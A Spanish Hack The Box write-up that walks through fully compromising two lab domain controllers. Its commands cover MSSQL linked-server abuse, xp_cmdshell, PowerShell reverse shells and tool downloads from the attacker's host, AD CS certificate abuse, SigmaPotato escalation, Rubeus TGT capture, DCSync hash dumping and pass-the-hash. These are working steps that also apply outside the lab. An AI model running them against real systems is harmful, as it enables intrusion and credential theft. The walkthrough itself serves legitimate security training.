DarkZero WriteUp

Table of Contents

DarkZero WriteUp

DarkZero es una máquina de dificultad 🟥 Hard de la plataforma Hack The Box que modela un entorno de Active Directory empresarial con dos dominios separados, multihoming y vectores de ataque avanzados. El objetivo final es comprometer completamente ambos Domain Controllers.

Al empezar, nos proporcionan unas credenciales iniciales: 🔑 john.w:RFulUtONCOL!

🗺️ Cadena de Ataque

Antes de entrar en detalle, aquí el resumen de la cadena completa:

Credenciales john.w
      │
      ▼
MSSQL DC01 (guest) ──linked server──► MSSQL DC02 (sysadmin)
      │
      ▼
xp_cmdshell ► Shell como svc_sql en DC02 (172.16.20.2)
      │
      ▼
Ligolo-MP ► Acceso a red interna 172.16.20.0/24
      │
      ▼
AD CS (Certify) ► Hash NTLM de svc_sql ► Cambio de contraseña
      │
      ▼
RunasCs (LogonType 5) ► SeImpersonatePrivilege
      │
      ▼
SigmaPotato ► NT AUTHORITY\SYSTEM en DC02
      │
      ▼
Rubeus monitor + xp_dirtree ► TGT de DC01$
      │
      ▼
Pass-the-Ticket ► secretsdump ► Hash Administrator DC01
      │
      ▼
evil-winrm ► Administrator en DC01 🏴

🔍 Reconocimiento

Escaneo de Puertos

Hacemos el reconocimiento en dos fases, primero descubrimos los puertos abiertos de forma rápida y luego lanzamos los scripts de detección sobre ellos.

Fase 1 - Descubrimiento rápido de puertos TCP:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv darkzero.htb

Fase 2 - Escaneo UDP de los top 200:

sudo nmap -sU --top-ports 200 -Pn --open --min-rate 1000 -oA udp -vvv darkzero.htb

Fase 3 - Detección de versiones y scripts sobre los puertos encontrados:

# Extraemos los puertos del fichero gnmap
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt

# Lanzamos el escaneo completo
sudo nmap -sCV -p$(cat ports.txt) -Pn -O --script vuln,default -oA scan -vvv darkzero.htb

# Exportar resultados a HTML (opcional, muy útil para reportes)
xsltproc -o nmap.html ~/.nmap/nmap-bootstrap.xsl scan.xml

💡 Tip: Separar el escaneo en fases ahorra mucho tiempo. El descubrimiento rápido con --min-rate 5000 tarda segundos, y luego solo hacemos el escaneo completo sobre los puertos que realmente están abiertos.

Los puertos más relevantes que encontramos:

PuertoServicioDetalle
53DNSSimple DNS Plus
88KerberosDomain Controller confirmado
389/636LDAP/LDAPSDominio darkzero.htb
1433MSSQLMicrosoft SQL Server 2022
5985WinRMAcceso remoto PowerShell

Validación de Credenciales y Generación de Hosts

Comprobamos que las credenciales son válidas y generamos automáticamente las entradas para /etc/hosts:

# Validar credenciales
netexec smb darkzero.htb -u 'john.w' -p 'RFulUtONCOL!'

# Generar fichero hosts automáticamente
netexec smb darkzero.htb -u 'john.w' -p 'RFulUtONCOL!' --generate-hosts-file hosts_file

# Añadir al /etc/hosts ordenado
{ echo -e "\n# DarkZero Machine"; sort -V hosts_file; } | sudo tee -a /etc/hosts

🌐 Enumeración DNS - Split-Horizon DNS

Este es el descubrimiento más importante del reconocimiento. Consultamos el servidor DNS de DC01 por todos los registros del dominio:

dig @dc01.darkzero.htb ANY darkzero.htb
;; ANSWER SECTION:
darkzero.htb.   600   IN   A   172.16.20.1      ← Red INTERNA
darkzero.htb.   600   IN   A   10.129.13.169    ← Red externa (nuestra)
darkzero.htb.   3600  IN   NS  dc01.darkzero.htb.

⚠️ Split-Horizon DNS / Multihoming: La respuesta devuelve DOS registros A para darkzero.htb. La IP 10.129.13.169 es accesible desde nuestra red, pero 172.16.20.1 solo es accesible desde la red interna. Esto confirma que DC01 es multihomed y que existe una segunda subred 172.16.20.0/24 donde se encuentra DC02.darkzero.ext. Necesitaremos realizar pivoting para llegar allí.

💉 Acceso Inicial - MSSQL Linked Server Abuse

Conexión a MSSQL de DC01

En el puerto 1433 encontramos un Microsoft SQL Server 2022. Nos conectamos con las credenciales de john.w:

impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!@dc01.darkzero.htb' -windows-auth
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
SQL (darkzero\john.w  guest@master)>

Somos guest en DC01. Sin privilegios para habilitar xp_cmdshell directamente. Pero enumerando los linked servers configurados:

SQL> enum_links
SRV_NAME            SRV_DATASOURCE      Local Login        Remote Login
-----------------   -----------------   ---------------    ------------
DC02.darkzero.ext   DC02.darkzero.ext   darkzero\john.w    dc01_sql_svc

🔑 DC01 tiene configurado un linked server hacia DC02.darkzero.ext. Nuestro usuario john.w se mapea al login dc01_sql_svc en DC02. Verificamos si ese login es sysadmin:

SQL> EXEC('SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')') AT [DC02.darkzero.ext]
-   -
1   1    ← ¡Somos sysadmin en DC02!

Habilitando xp_cmdshell en DC02 vía Linked Server

Aprovechamos los privilegios de dc01_sql_svc para habilitar la ejecución de comandos del sistema:

-- Habilitamos opciones avanzadas
SQL> EXEC('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [DC02.darkzero.ext]

-- Habilitamos xp_cmdshell
SQL> EXEC('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [DC02.darkzero.ext]

-- Verificamos RCE
SQL> EXEC('EXEC xp_cmdshell ''whoami''') AT [DC02.darkzero.ext]
output
--------------------
darkzero-ext\svc_sql

RCE confirmado en DC02 como darkzero-ext\svc_sql.

🐚 Reverse Shell a DC02

Levantamos nuestro servidor HTTP con goshs y un listener con penelope:

# Servidor HTTP para servir ficheros
goshs -d ~/http -p 80 -i 0.0.0.0

# Listener para la reverse shell
penelope -p 8443

Generamos un payload PowerShell en revshell.com (PowerShell Base64) y lo ejecutamos via xp_cmdshell:

SQL> EXEC('EXEC xp_cmdshell ''powershell -e <BASE64_PAYLOAD>''') AT [DC02.darkzero.ext]

Shell obtenida en DC02 (172.16.20.2). Estamos en la red interna 172.16.20.0/24.

PS C:\Windows\system32> whoami
darkzero-ext\svc_sql
PS C:\Windows\system32> hostname
DC02
PS C:\Windows\system32> ipconfig

   IPv4 Address: 172.16.20.2
   Subnet Mask:  255.255.255.0
   Default Gateway: 172.16.20.1

🔀 Pivoting con Ligolo-MP

Para poder acceder a la red 172.16.20.0/24 con todas nuestras herramientas locales (certipy, impacket, etc.) configuramos un túnel con Ligolo-MP. Es más estable y versátil que un proxy SOCKS simple.

En el atacante - Iniciamos el servidor:

sudo nano /etc/systemd/system/ligolomp.service
sudo systemctl start ligolomp.service
ligolomp_client

En DC02 - Descargamos y ejecutamos el agente:

powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/ligolomp.exe' -OutFile 'C:\Windows\Temp\ligolomp.exe'; Start-Process -NoNewWindow -FilePath 'C:\Windows\Temp\ligolomp.exe'"

En la consola de Ligolo-MP - Iniciamos el relay y añadimos la ruta a la red interna 172.16.20.0/24

✅ A partir de aquí, nuestra máquina atacante puede alcanzar 172.16.20.2 directamente. Imprescindible para los siguientes pasos.

🧗‍♂️ Escalada de Privilegios en DC02

Paso 1 - AD CS con Certify, obtener el Hash NTLM de svc_sql

Subimos Certify.exe y buscamos vulnerabilidades en las plantillas de certificados:

# Subir Certify.exe
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/Certify.exe' -OutFile 'C:\Windows\Temp\Certify.exe'"
# Buscar vulnerabilidades
C:\Windows\Temp\Certify.exe find /vulnerable

Aunque find /vulnerable no muestra plantillas explotables directamente (no hay ESC1, ESC2, etc.), podemos solicitar un certificado para el usuario actual usando la plantilla User estándar:

C:\Windows\Temp\Certify.exe request /ca:DC02\darkzero-ext-DC02-CA /template:User
[*] Current user context    : darkzero-ext\svc_sql
[*] Template                : User
[*] CA Response             : The certificate had been issued.

-----BEGIN RSA PRIVATE KEY-----
MIIEog[...]qRg==
-----END CERTIFICATE-----

Copiamos todo el bloque desde -----BEGIN RSA PRIVATE KEY----- hasta -----END CERTIFICATE----- y lo guardamos como cert.pem en nuestra máquina.

Convertimos a formato PFX:

# Dejamos la contraseña vacía (Enter)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out /tmp/cert.pfx

Sincronizamos hora con DC02 (crítico para Kerberos) y autenticamos con el certificado:

# Añadir DC02 al /etc/hosts
netexec smb 172.16.20.2 --generate-hosts-file hosts_file_ext
{ echo -e "\n# DarkZero Machine"; sort -V hosts_file_ext; } | sudo tee -a /etc/hosts

# Sincronizar hora — MUY IMPORTANTE, Kerberos falla si hay más de 5 min de diferencia
ntpdate 172.16.20.2

# Autenticar con el certificado y obtener el hash NTLM
certipy-ad auth -pfx cert.pfx -u svc_sql -dc-ip 172.16.20.2
[*] Got hash for 'svc_sql@darkzero.ext': aad3b435b51404eeaad3b435b51404ee:816ccb849956b531db139346751db65f

🎯 Hash NTLM de svc_sql obtenido: 816ccb849956b531db139346751db65f

Paso 2 - Cambiar la Contraseña de svc_sql

Con el hash NTLM podemos cambiar la contraseña sin conocer la original usando impacket-changepasswd:

impacket-changepasswd svc_sql@darkzero.ext -hashes ':816ccb849956b531db139346751db65f' -newpass '1Qwerty!' -dc-ip 172.16.20.2

✅ Contraseña de svc_sql cambiada a 1Qwerty!

Paso 3 - Service Logon (LogonType 5) con RunasCs: Obtener SeImpersonatePrivilege

¿Por qué necesitamos esto?

Nuestra shell actual es una Network Logon (LogonType 3). Este tipo de logon genera un token restringido que no incluye SeImpersonatePrivilege, aunque la cuenta lo tenga asignado en la política local.

Para obtener el privilegio necesitamos un Service Logon (LogonType 5), que es el tipo de token que Windows crea cuando el SCM (Service Control Manager) arranca un servicio. Este token incluye todos los privilegios de la cuenta, entre ellos SeImpersonatePrivilege asignado al grupo NT AUTHORITY\SERVICE.

Usamos RunasCs.exe con el flag -l 5 para forzar el tipo de logon correcto:

# Subir RunasCs
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/RunasCs.exe' -OutFile 'C:\Windows\Temp\RunasCs.exe'"

# Listener en el atacante
penelope -p 8444

# Forzar Service Logon (LogonType 5) → -l 5 es la clave
C:\Windows\Temp\RunasCs.exe svc_sql '1Qwerty!' powershell -l 5 -b -r 10.10.15.223:8444

En la nueva shell verificamos:

whoami /priv
Privilege Name                Description                               State
=============================  ========================================  ========
SeImpersonatePrivilege         Impersonate a client after authentication  Enabled  ✅

SeImpersonatePrivilege activo. Listo para el Potato attack.

Paso 4 - SigmaPotato: Escalada a SYSTEM

Con SeImpersonatePrivilege habilitado, usamos SigmaPotato para impersonar el token de NT AUTHORITY\SYSTEM y cambiar la contraseña del Administrador local:

# Subir SigmaPotato
powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/SigmaPotato.exe' -OutFile 'C:\Windows\Temp\SigmaPotato.exe'"

# Cambiar contraseña del Administrator como SYSTEM
C:\Windows\Temp\SigmaPotato.exe 'net user Administrator 1Qwerty!'
[+] Pipe Connected!
[+] Impersonated Client: NT AUTHORITY\NETWORK SERVICE
[+] Found System Token: True
[+] Creating Process via 'CreateProcessWithTokenW'
[+] Process Output:
The command completed successfully.

Ahora nos conectamos como Administrator:

# Listener en atacante
penelope -p 8445

# Shell como Administrator
C:\Windows\Temp\RunasCs.exe administrator '1Qwerty!' powershell -r 10.10.15.223:8445

🚩 User Flag (DC02)

type c:\Users\Administrator\Desktop\user.txt

🔄 Movimiento Lateral a DC01 - Unconstrained Delegation

Con DC02 comprometido, necesitamos llegar a DC01 (10.10.11.89). Las herramientas estándar de post-explotación (WinPEAS, etc.) no revelan vectores directos, así que analizamos la configuración de delegación Kerberos.

¿Qué es Unconstrained Delegation?

🧠 Concepto clave: Cuando un equipo tiene TrustedForDelegation = True, el KDC incluye una copia del TGT del cliente dentro del TGS que entrega al servicio. Es decir, si DC01 se autentica en DC02 (que tiene Unconstrained Delegation), DC02 recibe el TGT de DC01 y podemos capturarlo.

Confirmamos que DC02 tiene Unconstrained Delegation con PowerShell:

Get-ADComputer -Identity $env:COMPUTERNAME -Properties TrustedForDelegation,TrustedToAuthForDelegation
TrustedForDelegation          : True   ✅
TrustedToAuthForDelegation    : False

Paso 1 - Monitorizar Tickets con Rubeus

Subimos Rubeus a DC02 y lo ponemos en modo monitor. Rubeus detectará cualquier nuevo TGT que llegue al sistema:

powershell -Command "Invoke-WebRequest -Uri 'http://10.10.15.223/Rubeus.exe' -OutFile 'C:\Windows\Temp\Rubeus.exe'"
C:\Windows\Temp\Rubeus.exe monitor /interval:1 /nowrap

Paso 2 - Forzar Autenticación de DC01 hacia DC02 con xp_dirtree

Desde una nueva terminal, abrimos una sesión MSSQL en DC01 y ejecutamos xp_dirtree apuntando a un share que no exista en DC02:

impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!'@DC01.darkzero.htb -windows-auth
xp_dirtree \\DC02.darkzero.ext\notexists

💡 ¿Por qué funciona esto? xp_dirtree obliga al proceso del SQL Server de DC01 a realizar una conexión SMB hacia DC02. Para esa conexión, el proceso solicita al KDC un TGS para cifs/DC02. Como DC02 tiene Unconstrained Delegation, el KDC incluye el TGT de DC01$ dentro de ese TGS. Rubeus, ejecutándose en DC02, lo detecta y lo muestra.

Rubeus captura el ticket:

[*] Found new TGT:

  User      : DC01$@DARKZERO.HTB
  StartTime : 3/20/2026 5:34:10 PM
  EndTime   : 3/21/2026 3:34:10 AM
  Flags     : name_canonicalize, pre_authent, renewable, forwarded, forwardable

  Base64EncodedTicket:
    doIFjDCCBYigAwIBBaED...

Paso 3 - Pass-the-Ticket y DCSync

Guardamos el Base64 en un fichero y lo procesamos:

# Decodificar el ticket
cat ticket.b64 | base64 -d > ticket.kirbi

# Convertir a formato ccache (para impacket)
impacket-ticketConverter ticket.kirbi dc01_administrator.ccache

# Exportar el ticket para que lo usen las herramientas Kerberos
export KRB5CCNAME=dc01_administrator.ccache

# Verificar que el ticket está cargado correctamente
klist

# Sincronizar hora con DC01 - imprescindible
ntpdate 10.129.13.244

Con el TGT de DC01$ (cuenta de máquina del Domain Controller), tenemos permisos de replicación de dominio. Realizamos un DCSync para volcar todos los hashes NTLM:

impacket-secretsdump -k -no-pass 'darkzero.htb/DC01$@DC01.darkzero.htb'
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:64f4771e4c60b8b176c3769300f6f3f7:::
john.w:2603:aad3b435b51404eeaad3b435b51404ee:44b1b5623a1446b5831a7b3a4be3977b:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:d02e3fe0986e9b5f013dad12b2350b3a:::

🎯 Hash NTLM del Administrator: 5917507bdf2ef2c2b0a869a1cba40726

Paso 4 - Acceso Final a DC01

Con el hash del Administrator realizamos un Pass-the-Hash vía WinRM:

evil-winrm -i dc01.darkzero.htb -u administrator -H 5917507bdf2ef2c2b0a869a1cba40726

🏴 Root Flag (DC01)

type C:\Users\Administrator\Desktop\root.txt

📝 Resumen de la Cadena

#TécnicaHerramientaResultado
1Reconocimientonmap, netexec, digSplit-horizon DNS → red 172.16.20.0/24
2MSSQL Linked Serverimpacket-mssqlclientxp_cmdshell en DC02 como svc_sql
3Reverse ShellPowerShell Base64Shell en DC02
4PivotingLigolo-MPAcceso completo a red 172.16.20.0/24
5AD CS Certificate RequestCertify.exe, certipy-adHash NTLM de svc_sql
6Cambio de contraseñaimpacket-changepasswdControl total de svc_sql
7Service Logon (LogonType 5)RunasCs.exe -l 5SeImpersonatePrivilege
8Token ImpersonationSigmaPotato.exeNT AUTHORITY\SYSTEM en DC02
9Unconstrained Delegation + RubeusRubeus monitor, xp_dirtreeTGT de DC01$ capturado
10Pass-the-Ticket + DCSyncimpacket-secretsdumpHash NTLM del Administrator
11Pass-the-Hashevil-winrmShell como Administrator en DC01 🏴

Un saludo, nos vemos en el próximo challenge.